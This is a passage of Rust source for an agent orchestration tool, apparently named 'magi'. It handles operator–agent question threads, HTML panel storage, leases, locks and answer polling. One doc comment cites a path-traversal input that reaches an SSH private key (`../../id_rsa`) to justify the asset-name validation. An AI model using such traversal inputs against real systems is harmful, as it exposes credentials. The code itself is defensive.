887        self.answer(Answer::Choice(label.to_owned()))
888    }
889
890    /// The owner speaking back without answering: a request for context, a
891    /// clarifying question, anything short of a decision.
892    ///
893    /// Rejects the same two states [`Question::answer`] does, and for the same
894    /// reason - a question with a recorded [`Answer`] or an abandoned one has
895    /// no run left listening for a reply - and an empty turn, which would tell
896    /// the agent nothing it didn't already know. Never changes `status`: the
897    /// question stays [`QuestionStatus::Open`], because the owner did not
898    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
899    /// counting this as the one question it always was.
900    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
901        match self.status {
902            QuestionStatus::Answered => bail!(
903                "question {} was already answered; there is nothing left to \
904                 discuss",
905                self.short()
906            ),
907            QuestionStatus::Abandoned => bail!(
908                "question {} was abandoned and the run behind it is gone",
909                self.short()
910            ),
911            QuestionStatus::Open => {}
912        }
913        let body = body.into();
914        if body.trim().is_empty() {
915            bail!("a message to question {} cannot be empty", self.short());
916        }
917        self.thread.push(Turn {
918            who: Who::Operator,
919            body,
920            at: Timestamp::now(),
921            note: None,
922        });
923        Ok(())
924    }
925
926    /// The agent replying to the owner's last word, in place of an answer:
927    /// same question, same id, another round.
928    ///
929    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
930    /// on the same reasoning [`Questions::put_panel`] replaces a panel
931    /// wholesale: the whole point of asking back is that what should be
932    /// offered next may have changed, and a caller that wanted the old set
933    /// unchanged can simply pass it again. An empty `Vec` means free text,
934    /// exactly as it does when the question is first asked.
935    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
936        match self.status {
937            QuestionStatus::Answered => bail!(
938                "question {} was already answered; replying now would not \
939                 reach anyone",
940                self.short()
941            ),
942            QuestionStatus::Abandoned => bail!(
943                "question {} was abandoned and the run behind it is gone",
944                self.short()
945            ),
946            QuestionStatus::Open => {}
947        }
948        let body = body.into();
949        if body.trim().is_empty() {
950            bail!("a reply to question {} cannot be empty", self.short());
951        }
952        // An action whose label is no longer offered could never fire.
953        self.actions.retain(|label, _| choices.contains(label));
954        self.choices = choices;
955        let unread = self.unread_from_owner().is_some();
956        self.thread.push(Turn {
957            who: Who::Agent,
958            body,
959            at: Timestamp::now(),
960            note: None,
961        });
962        // The agent has read everything up to its own reply - but only if
963        // nothing the owner said in the meantime is still unread. A second say
964        // that landed after the agent's last look must stay undelivered.
965        if !unread {
966            self.delivered_turns = self.thread.len();
967        }
968        Ok(())
969    }
970
971    /// What the owner said that the agent has not read yet, oldest first,
972    /// joined. `None` unless the question is open and such a turn exists.
973    ///
974    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
975    /// second owner turn it never saw, which leaves the last turn the agent's
976    /// and the ball apparently back with the owner while a say is still unread.
977    pub fn unread_from_owner(&self) -> Option<String> {
978        if !self.status.open() {
979            return None;
980        }
981        let said = self.undelivered_owner_turns();
982        (!said.is_empty()).then(|| said.join("\n\n"))
983    }
984
985    /// Owner turns the agent has not been handed yet, oldest first, whatever
986    /// the question's status. [`Question::unread_from_owner`] adds the "still
987    /// open" guard the waiter and the deputy rely on; an answer being handed
988    /// over needs the says that came before it even though the question is
989    /// closed by then.
990    pub fn undelivered_owner_turns(&self) -> Vec<&str> {
991        let from = self.delivered_turns.min(self.thread.len());
992        self.thread[from..]
993            .iter()
994            .filter(|t| t.who == Who::Operator)
995            .map(|t| t.body.as_str())
996            .collect()
997    }
998
999    /// When the conversation last moved: the newest thread turn, or the asking
1000    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
1001    /// every reply, so a deadline runs from here and not from `asked_at`.
1002    pub fn last_activity(&self) -> i64 {
1003        self.thread
1004            .iter()
1005            .map(|t| t.at.as_second())
1006            .max()
1007            .unwrap_or(0)
1008            .max(self.asked_at.as_second())
1009    }
1010
1011    /// Is the ball in the agent's court?
1012    ///
1013    /// True from the moment the owner speaks back until the agent's next
1014    /// [`Question::reply`], and never on a fresh or an already-settled
1015    /// question. [`QuestionStatus`] does not move for either side of this -
1016    /// see [`Question::say`] - so this is the one place that state is
1017    /// readable at all, which is why [`crate::web::QuestionView`] carries it
1018    /// separately rather than asking the phone to infer it from the thread.
1019    pub fn waiting_on_agent(&self) -> bool {
1020        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1021    }
1022
1023    /// Should a notification go out right now?
1024    ///
1025    /// Always, for the very first ask: [`Question::thread`] is still empty, so
1026    /// there is no earlier operator turn to have already caught anyone's
1027    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
1028    /// since the owner's own last word - see that constant for why the window
1029    /// exists at all and why its length is not configurable.
1030    fn should_notify(&self, now: Timestamp) -> bool {
1031        let Some(last) = self
1032            .thread
1033            .iter()
1034            .rev()
1035            .find(|t| t.who == Who::Operator)
1036            .map(|t| t.at)
1037        else {
1038            return true;
1039        };
1040        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1041    }
1042}
1043
1044/// A question store on disk.
1045#[derive(Debug, Clone)]
1046pub struct Questions {
1047    root: PathBuf,
1048}
1049
1050impl Questions {
1051    /// The operator's questions, `<home>/questions`.
1052    pub fn open() -> Self {
1053        Self::at(crate::run::home().join("questions"))
1054    }
1055
1056    /// A store at an explicit root. Tests use this, which is why none of them
1057    /// need the operator's real home.
1058    pub fn at(root: PathBuf) -> Self {
1059        Self { root }
1060    }
1061
1062    /// Directory holding the question files.
1063    pub fn root(&self) -> &Path {
1064        &self.root
1065    }
1066
1067    /// Path for one question id.
1068    pub fn path_of(&self, id: &str) -> PathBuf {
1069        self.root.join(format!("{id}.json"))
1070    }
1071
1072    /// Directory holding one question's panel, `<root>/<id>.panel`.
1073    pub fn panel_dir(&self, id: &str) -> PathBuf {
1074        self.root.join(format!("{id}{PANEL_DIR}"))
1075    }
1076
1077    /// Store a panel: the html, plus `assets` copied in under their base
1078    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
1079    /// question, or the record on disk will deny having a panel that exists.
1080    ///
1081    /// The assets are **copied, not referenced**. An agent authors its panel
1082    /// inside a candidate worktree and points at files there, and `magi fold`
1083    /// deletes those worktrees; a question is the permanent record of a
1084    /// decision the owner took, so a panel that referenced its own images
1085    /// would render as broken boxes exactly when someone went back to ask why
1086    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
1087    /// does, and so does the [`std::fs::metadata`] the size is measured with,
1088    /// so the bytes counted and the bytes written are the same target file's -
1089    /// which is the intent: storing a link would leave the panel pointing at
1090    /// the worktree again, one indirection further away.
1091    ///
1092    /// Everything that can be rejected is rejected before the first byte is
1093    /// written, and the panel is then assembled in a scratch directory and
1094    /// swapped in. So a refusal leaves the previous panel intact, and a
1095    /// success replaces it *wholesale* rather than merging: a re-asked
1096    /// question showing one attempt's diff next to another attempt's table
1097    /// would be a panel neither agent ever wrote.
1098    ///
1099    /// [`put`]: Questions::put
1100    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1101        if !valid_asset_name(&q.id) {
1102            bail!(
1103                "question id `{}` is not a name magi will build a panel path from",
1104                q.id
1105            );
1106        }
1107        if html.trim().is_empty() {
1108            bail!(
1109                "question {} was handed an empty panel; an empty frame reads to \
1110                 the owner as \"the agent had nothing to say\", which is a lie",
1111                q.short()
1112            );
1113        }
1114
1115        // Names, then sizes, then writing - in that order, so nothing below
1116        // can leave a partial panel on disk.
1117        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1118        for src in assets {
1119            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1120            if !valid_asset_name(name) {
1121                bail!(
1122                    "panel asset `{}` cannot be stored: a panel file name must \
1123                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1124                    src.display()
1125                );
1126            }
1127            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1128                bail!(
1129                    "two panel assets are both named `{name}` - {} and {} - and \
1130                     the panel can only show one of them; rename one at the source",
1131                    first.display(),
1132                    src.display()
1133                );
1134            }
1135            named.push((name.to_owned(), src.as_path()));
1136        }
1137
1138        let mut total = html.len() as u64;
1139        for (_, src) in &named {
1140            let meta = std::fs::metadata(src)
1141                .with_context(|| format!("stat panel asset {}", src.display()))?;
1142            if !meta.is_file() {
1143                bail!(
1144                    "panel asset `{}` is not a file; a panel is html plus files \
1145                     copied beside it",
1146                    src.display()
1147                );
1148            }
1149            total = total.saturating_add(meta.len());
1150        }
1151        if total > PANEL_MAX_BYTES {
1152            bail!(
1153                "panel for question {} is {total} bytes, over magi's cap of \
1154                 {PANEL_MAX_BYTES} bytes; nothing was written",
1155                q.short()
1156            );
1157        }
1158
1159        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1160        let dir = self.panel_dir(&q.id);
1161        std::fs::create_dir_all(&self.root)
1162            .with_context(|| format!("create {}", self.root.display()))?;
1163        clear_dir(&tmp)?;
1164        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1165        if let Err(e) = fill_panel(&tmp, html, &named) {
1166            // A copy that dies halfway must not become the panel, and must not
1167            // leave scratch behind for the next call to inherit.
1168            let _ = std::fs::remove_dir_all(&tmp);
1169            return Err(e);
1170        }
1171        clear_dir(&dir)?;
1172        std::fs::rename(&tmp, &dir)
1173            .with_context(|| format!("move panel into {}", dir.display()))?;
1174
1175        q.panel = true;
1176        q.assets = named.into_iter().map(|(n, _)| n).collect();
1177        q.assets.sort_unstable();
1178        Ok(())
1179    }
1180
1181    /// The panel's html, or `None` when the question has no panel.
1182    ///
1183    /// `None` rather than an error for a missing panel because the caller is a
1184    /// web handler whose answer is 404 either way, and an unreadable panel is
1185    /// not a reason to fail the question it belongs to.
1186    pub fn panel_html(&self, id: &str) -> Option<String> {
1187        if !valid_asset_name(id) {
1188            return None;
1189        }
1190        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1191    }
1192
1193    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1194    /// not a name a panel file can have".
1195    ///
1196    /// Rejects a name failing [`valid_asset_name`] **before touching the
1197    /// filesystem**, which is the whole point of the second check: the name
1198    /// arrives from a URL, the directory is on disk where any process could
1199    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1200    /// operating system would resolve perfectly happily. The two callers'
1201    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1202    /// `Result<Option<_>>` rather than one flattened `Option`.
1203    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1204        if !valid_asset_name(name) {
1205            bail!(
1206                "`{name}` is not a panel file name; it must match \
1207                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1208            );
1209        }
1210        if !valid_asset_name(id) {
1211            return Ok(None);
1212        }
1213        let dir = self.panel_dir(id);
1214        if !dir.is_dir() {
1215            return Ok(None);
1216        }
1217        let path = dir.join(name);
1218        match std::fs::read(&path) {
1219            Ok(bytes) => Ok(Some(bytes)),
1220            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1221            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1222        }
1223    }
1224
1225    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1226    ///
1227    /// Succeeds when there is nothing to delete, so a caller cleaning up does
1228    /// not have to know whether a panel was ever written. The question record
1229    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1230    /// in the same order as everywhere else here.
1231    ///
1232    /// [`put_panel`]: Questions::put_panel
1233    pub fn drop_panel(&self, id: &str) -> Result<()> {
1234        if !valid_asset_name(id) {
1235            bail!("question id `{id}` is not a name magi will build a panel path from");
1236        }
1237        clear_dir(&self.panel_dir(id))?;
1238        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1239    }
1240
1241    /// Path of the lease sidecar for one question id.
1242    pub fn lease_path(&self, id: &str) -> PathBuf {
1243        self.root.join(format!("{id}.lease"))
1244    }
1245
1246    /// The lease on a question, if a readable one exists.
1247    pub fn read_lease(&self, id: &str) -> Option<Lease> {
1248        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1249        serde_json::from_str(&body).ok()
1250    }
1251
1252    /// Say, as `kind`, that something is alive and waiting on this question.
1253    ///
1254    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1255    /// a reason to abandon a wait - the worst it costs is the waiter deciding
1256    /// the holder is gone a little early, and that is what the delivery guard
1257    /// (the seat still being busy) is there for.
1258    pub fn beat(&self, id: &str, kind: WaiterKind) {
1259        let lease = Lease {
1260            kind,
1261            pid: std::process::id(),
1262            beat_at: Timestamp::now(),
1263        };
1264        let path = self.lease_path(id);
1265        let tmp = path.with_extension("lease.tmp");
1266        let written = std::fs::create_dir_all(&self.root)
1267            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1268            .and_then(|()| std::fs::rename(&tmp, &path));
1269        if let Err(e) = written {
1270            tracing::debug!("could not beat the lease on question {id}: {e}");
1271        }
1272    }
1273
1274    /// Remove the lease sidecar. Absent is fine.
1275    pub fn drop_lease(&self, id: &str) {
1276        let _ = std::fs::remove_file(self.lease_path(id));
1277    }
1278
1279    /// Read-modify-write one question under a short exclusive lock, so the
1280    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1281    /// each other with a copy that predates the others.
1282    ///
1283    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1284    /// a torn file and does nothing for two writers that both read the same
1285    /// version first. Everything that changes a question that can still be
1286    /// answered goes through here: `f` sees the current record, not one loaded
1287    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1288    /// mid-update and is broken.
1289    pub fn update<T>(
1290        &self,
1291        id: &str,
1292        f: impl FnOnce(&mut Question) -> Result<T>,
1293    ) -> Result<(Question, T)> {
1294        std::fs::create_dir_all(&self.root)
1295            .with_context(|| format!("create {}", self.root.display()))?;
1296        let lock = self.root.join(format!("{id}.lock"));
1297        let started = std::time::Instant::now();
1298        loop {
1299            match std::fs::OpenOptions::new()
1300                .write(true)
1301                .create_new(true)
1302                .open(&lock)
1303            {
1304                Ok(_) => break,
1305                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1306                    let stale = std::fs::metadata(&lock)
1307                        .and_then(|m| m.modified())
1308                        .ok()
1309                        .and_then(|t| t.elapsed().ok())
1310                        .is_some_and(|age| age > LOCK_STALE);
1311                    if stale {
1312                        let _ = std::fs::remove_file(&lock);
1313                    } else if started.elapsed() > LOCK_STALE {
1314                        bail!("could not lock question {id}");
1315                    } else {
1316                        std::thread::sleep(Duration::from_millis(15));
1317                    }
1318                }
1319                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1320            }
1321        }
1322        struct Unlock(PathBuf);
1323        impl Drop for Unlock {
1324            fn drop(&mut self) {
1325                let _ = std::fs::remove_file(&self.0);
1326            }
1327        }
1328        let _guard = Unlock(lock);
1329        let mut q = read_path(&self.path_of(id))?;
1330        let was_dismissed = q.resolution().as_deref() == Some(crate::merge_decision::DISMISS);
1331        let out = f(&mut q)?;
1332        if !was_dismissed && q.resolution().as_deref() == Some(crate::merge_decision::DISMISS) {
1333            let home = self.root.parent().context("question store has no home")?;
1334            crate::merge_decision::dismiss(home, &q)?;
1335        }
1336        self.put(&mut q)?;
1337        Ok((q, out))
1338    }
1339
1340    /// Write a question, atomically, so a process killed mid-write leaves the
1341    /// previous state readable rather than a truncated file that would strand
1342    /// the run waiting on it.
1343    pub fn put(&self, q: &mut Question) -> Result<()> {
1344        std::fs::create_dir_all(&self.root)
1345            .with_context(|| format!("create {}", self.root.display()))?;
1346        let body = serde_json::to_string_pretty(q).context("serialize question")?;
1347        let path = self.path_of(&q.id);
1348        let tmp = path.with_extension("json.tmp");
1349        let is_new = !path.exists();
1350        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1351        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1352        // A first write of an open question pages the operator, so a separate
1353        // notification about the same task or run is now a second page.
1354        if is_new
1355            && q.status.open()
1356            && q.node != crate::bump::NOTICE_NODE
1357            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1358        {
1359            crate::notices::quiet_for(home, q);
1360        }
1361        Ok(())
1362    }
1363
1364    /// Load a question by id or unambiguous id prefix.
1365    pub fn get(&self, id: &str) -> Result<Question> {
1366        let resolved = self.resolve_id(id)?;
1367        let q = read_path(&self.path_of(&resolved))?;
1368        Ok(self.with_repair_choice(q))
1369    }
1370
1371    fn with_repair_choice(&self, q: Question) -> Question {
1372        if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1373            && q.node == crate::land::APPROVAL_NODE
1374            && let Some(home) = self.root.parent()
1375            && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1376        {
1377            let mut upgraded = q.clone();
1378            if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1379                match self.update(&q.id, |current| {
1380                    crate::land::upgrade_repair_choice(current, &state);
1381                    Ok(())
1382                }) {
1383                    Ok((current, ())) => return current,
1384                    Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1385                }
1386            }
1387        }
1388        q
1389    }
1390
1391    /// Every question on disk: open first, then newest first.
1392    ///
1393    /// Open first because that ordering is the product - the list exists to
1394    /// show the operator what has stopped, and an answered question is history
1395    /// underneath it. Unreadable files are skipped rather than fatal: one
1396    /// corrupt question must not take the web UI down, and must certainly not
1397    /// hide the open question the operator was looking for.
1398    pub fn list(&self) -> Vec<Question> {
1399        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1400            .into_iter()
1401            .flatten()
1402            .flatten()
1403            .map(|e| e.path())
1404            .filter(|p| p.extension().is_some_and(|x| x == "json"))
1405            .filter_map(|p| read_path(&p).ok())
1406            .map(|q| self.with_repair_choice(q))
1407            .collect();
1408        all.sort_unstable_by(|a, b| {
1409            let rank = |q: &Question| u8::from(!q.status.open());
1410            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1411        });
1412        all
1413    }
1414
1415    /// Open questions belonging to one run, newest first.
1416    ///
1417    /// Used to decide whether a parked run can be resumed: while this is
1418    /// non-empty, nothing about the run has changed and no agent should be
1419    /// spawned for it.
1420    pub fn open_for(&self, run: &str) -> Vec<Question> {
1421        self.list()
1422            .into_iter()
1423            .filter(|q| q.status.open() && q.run == run)
1424            .collect()
1425    }
1426
1427    /// Abandon every open question belonging to a run, and report how many.
1428    ///
1429    /// Called when a run's record is deleted. The agent that asked died with
1430    /// the run, so there is nobody left to hand an answer to, and a question
1431    /// left open would keep asking the operator for a decision that can no
1432    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1433    /// イルが見つかりません" with two buttons, for a run whose directory had
1434    /// been gone for two hours.
1435    ///
1436    /// Abandoned rather than deleted, because [`Question::abandon`] already
1437    /// means "this can no longer be answered" and the record of having asked
1438    /// is worth keeping. Answered questions are left exactly as they are.
1439    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1440        let mut abandoned = 0;
1441        for mut q in self.open_for(run) {
1442            q.abandon(why);
1443            self.put(&mut q)?;
1444            abandoned += 1;
1445        }
1446        Ok(abandoned)
1447    }
1448
1449    /// Abandon a run's open questions once `status` says the run is not
1450    /// coming back, worded with what it actually became.
1451    ///
1452    /// The run-deleted case above and this one are the same fact - nobody is
1453    /// left to read an answer - reached by two different doors. This is the
1454    /// one for a run that finished on its own: merged, reached `Ready` with
1455    /// nothing left to do, failed outright with no established point to
1456    /// resume from, or every candidate agreed, with evidence, that nothing
1457    /// belonged in the worktree. Those are exactly the statuses
1458    /// [`RunStatus::resumable`]
1459    /// excludes, and that is the line this draws too - deliberately not
1460    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1461    /// over. Both of those can still be picked back up with the candidates,
1462    /// the review round and the seat sessions already on disk, so a question
1463    /// asked mid-round may yet get a real answer from a real resume, and
1464    /// folding it here would be exactly the mistake this function exists to
1465    /// avoid on the other side - answering back into a run that no longer
1466    /// exists to read it.
1467    ///
1468    /// A no-op, not an error, when `status` is still resumable or when there
1469    /// was nothing open to begin with - callers reach this from more than one
1470    /// place a run can settle, and a second call finding nothing left to
1471    /// abandon is the expected case, not a bug.
1472    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1473        if status.resumable() {
1474            return Ok(0);
1475        }
1476        let why = format!(
1477            "run {run} {}, so nothing is waiting for this answer",
1478            status.as_str()
1479        );
1480        // A post-merge notice is the exception: it is filed *because* the run
1481        // merged, and no agent waits on it - it is a to-do for the owner, not
1482        // a question a dead seat asked. Abandoning it here would erase the
1483        // only alert the moment the run settles.
1484        let mut abandoned = 0;
1485        for mut q in self.open_for(run) {
1486            if q.node == crate::bump::NOTICE_NODE {
1487                continue;
1488            }
1489            q.abandon(&why);
1490            self.put(&mut q)?;
1491            abandoned += 1;
1492        }
1493        Ok(abandoned)
1494    }
1495
1496    /// Expand an id prefix to exactly one question id. The short id the phone
1497    /// and the reports show is a suffix, so that is accepted too.
1498    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1499        use crate::queue::{Reference, record_ids, resolve_reference};
1500        let ids = record_ids(&self.root, "json")?;
1501        match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1502            Reference::Found(id) => Ok(id),
1503            Reference::Missing => bail!("no question matches `{prefix}`"),
1504            Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1505        }
1506    }
1507
1508    /// Newest modification time in the store, in milliseconds, for change
1509    /// detection. The web UI compares this instead of re-reading every
1510    /// question, so an idle phone on a slow link costs one `stat` per file.
1511    pub fn revision(&self) -> u64 {
1512        std::fs::read_dir(&self.root)
1513            .into_iter()
1514            .flatten()
1515            .flatten()
1516            .filter_map(|e| e.metadata().ok())
1517            .filter_map(|m| m.modified().ok())
1518            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1519            .map(|d| d.as_millis() as u64)
1520            .max()
1521            .unwrap_or(0)
1522    }
1523
1524    /// How many questions are open, whichever side of the conversation is
1525    /// holding the ball right now. Ten turns of back and forth between the
1526    /// owner and the agent are still one open question - see
1527    /// [`Question::say`] - so this does not drop while a reply is in
1528    /// flight. [`Self::count_needs_owner`] is the number that does.
1529    pub fn count_open(&self) -> usize {
1530        self.list().iter().filter(|q| q.status.open()).count()
1531    }
1532
1533    /// How many open questions actually need the owner right now: open, and
1534    /// not [`Question::waiting_on_agent`], or the follow-up is exhausted.
1535    ///
1536    /// This is the number a notification channel owes - the ask bar, the nav
1537    /// badge, the document title - because those exist to say "something
1538    /// needs you". An unread say stops needing the agent once its follow-up
1539    /// has spent its starts. `count_open` stays as it is for [`Self::open_for`]'s callers,
1540    /// where a round trip must not look like the run resumed.
1541    pub fn count_needs_owner(&self) -> usize {
1542        self.list()
1543            .iter()
1544            .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1545            .count()
1546    }
1547
1548    /// The follow-up spent its starts and its final turn is no longer alive.
1549    /// Computed from the lease rather than saved with the question, so the
1550    /// owner can decide even when an unread message remains in the thread.
1551    pub fn deputy_exhausted(&self, q: &Question) -> bool {
1552        q.status.open()
1553            && q.deputy
1554                .as_ref()
1555                .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1556            && !self
1557                .read_lease(&q.id)
1558                .is_some_and(|l| l.fresh(Timestamp::now()))
1559    }
1560}
1561
1562/// How a wait over [`Question`] ended.
1563#[derive(Debug, Clone, PartialEq, Eq)]
1564pub enum Wait {
1565    /// The owner decided. Carries [`Question::resolution`].
1566    Answered(String),
1567    /// The owner spoke back without deciding - see [`Question::say`]. The
1568    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
1569    /// the caller's move is to hand this text to the agent and let it call
1570    /// `magi ask --thread` to keep talking, not to treat it as a decision.
1571    Replied(String),
1572    /// This call's [`WAIT_SLICE`] ran out with the question still
1573    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
1574    /// going quiet, the clock on *this process* running out. The question is
1575    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
1576    /// process, so the wait resumes before the shell tool that would have
1577    /// killed this one gets the chance.
1578    Pending,
1579    /// Nobody said anything before the deadline, or the question was closed
1580    /// out from under the wait with no decision recorded - a run deleted out
1581    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
1582    /// now on disk.
1583    Abandoned,
1584}
1585
1586/// File a question and wait for the owner, polling the store.
1587///
1588/// The question is updated in place from disk whenever the wait ends, so the
1589/// caller can act on it without re-reading it. `timeout` is the question's
1590/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
1591/// of it - see [`Wait::Pending`] for what happens to the rest.
1592pub async fn ask_and_wait(
1593    q: &mut Question,
1594    store: &Questions,
1595    notify: &config::Notify,
1596    timeout: Duration,
1597) -> Result<Wait> {
1598    wait_for_owner(q, store, notify, timeout, POLL).await
1599}
1600
1601/// Resume a wait already filed, without adding a turn or notifying again.
1602///
1603/// This is `magi ask --wait <id>`'s engine: the process that owned the
1604/// previous slice is dead (the tool that ran it killed it, or it simply
1605/// exited after reporting [`Wait::Pending`]), but the question on disk never
1606/// stopped being open, and the owner was already notified about it once. A
1607/// second notification for the same unanswered question would page the
1608/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1609/// unlike [`ask_and_wait`], this skips straight to polling.
1610///
1611/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1612/// caller computes it as what remains until [`Question::asked_at`] plus the
1613/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1614/// up the deadline the first ask set, never push it out further.
1615pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1616    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1617}
1618
1619/// [`ask_and_wait`] with the poll interval injected.
1620///
1621/// Separate only so the tests can drive a whole wait in milliseconds instead of
1622/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1623/// a knob the operator gets to tune.
1624async fn wait_for_owner(
1625    q: &mut Question,
1626    store: &Questions,
1627    cfg: &config::Notify,
1628    timeout: Duration,
1629    poll: Duration,
1630) -> Result<Wait> {
1631    // A question that is already on disk (a `--thread` reply just wrote it under
1632    // the lock) is left alone: this copy may predate an answer or say that
1633    // landed since, and writing it back would erase that.
1634    if !store.path_of(&q.id).is_file() {
1635        store.put(q).context("file the question")?;
1636    }
1637    if q.should_notify(Timestamp::now()) {
1638        if let Err(e) = notify(cfg, q).await {
1639            // A broken webhook is not a reason to throw away an implementation.
1640            // The question is already on disk and the web UI already shows it,
1641            // so the operator still has a way in; only the tap on the shoulder
1642            // is lost.
1643            tracing::warn!(
1644                "could not notify about question {}: {e:#} - the web UI is the \
1645                 only surface for it now",
1646                q.short()
1647            );
1648        }
1649    }
1650    tracing::info!(
1651        "question {} from {} is waiting for you: {}",
1652        q.short(),
1653        q.seat,
1654        q.summary
1655    );
1656    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1657}
1658
1659/// Take the wait as this process: beat the lease and note it on the record.
1660fn hold(store: &Questions, id: &str) {
1661    store.beat(id, WaiterKind::Asker);
1662    let took = store.update(id, |q| {
1663        if q.status.open() {
1664            q.waiter = Some(Waiter {
1665                kind: WaiterKind::Asker,
1666                since: Timestamp::now(),
1667            });
1668        }
1669        Ok(())
1670    });
1671    if let Err(e) = took {
1672        tracing::debug!("could not note the wait on question {id}: {e:#}");
1673    }
1674}
1675
1676/// Record that the agent has read everything so far, so the daemon waiter does
1677/// not resume a session to tell it what was already printed.
1678///
1679/// Callers must invoke this only **after** the word reached the agent's stdout:
1680/// marking first would let a tool timeout kill the process between the mark
1681/// and the print, and the waiter would then consider a word delivered that no
1682/// agent ever saw.
1683pub fn hand_over(store: &Questions, q: &mut Question) {
1684    let done = store.update(&q.id, |r| {
1685        r.delivered_turns = r.delivered_turns.max(q.thread.len());
1686        if r.status == QuestionStatus::Answered {
1687            r.answer_delivered = true;
1688        }
1689        r.waiter = None;
1690        Ok(())
1691    });
1692    match done {
1693        Ok((fresh, ())) => *q = fresh,
1694        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1695    }
1696}
1697
1698/// What the agent is shown for an answer: the owner's says it has not read
1699/// yet, in order, then the answer. With no such say it is `answer` itself,
1700/// byte for byte.
1701pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1702    let says = q.undelivered_owner_turns();
1703    if says.is_empty() {
1704        return answer.to_owned();
1705    }
1706    format!(
1707        "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1708        says.join("\n\n")
1709    )
1710}
1711
1712/// Print an answer (with any unread says before it) to `out`, flush, and only
1713/// then record the hand-over. A failed write marks nothing delivered.
1714pub fn deliver_answer(
1715    store: &Questions,
1716    q: &mut Question,
1717    answer: &str,
1718    out: &mut impl std::io::Write,
1719) -> std::io::Result<()> {
1720    writeln!(out, "{}", answer_for_agent(q, answer))?;
1721    out.flush()?;
1722    hand_over(store, q);
1723    Ok(())
1724}
1725
1726/// The polling loop shared by a fresh wait and a resumed one.
1727///
1728/// `timeout` is the budget left before the question's `answer_timeout`
1729/// truly runs out; `slice` bounds how much of that this one call spends
1730/// before handing control back. Landing on `slice` while `timeout` still has
1731/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
1732/// silence. Landing on `timeout` itself - because it was no bigger than
1733/// `slice` to begin with - is the real thing, and abandons the question
1734/// exactly as a single unsliced wait always did.
1735async fn wait_loop(
1736    q: &mut Question,
1737    store: &Questions,
1738    timeout: Duration,
1739    slice: Duration,
1740    poll: Duration,
1741) -> Result<Wait> {
1742    // The owner may already have spoken back before this call ever started -
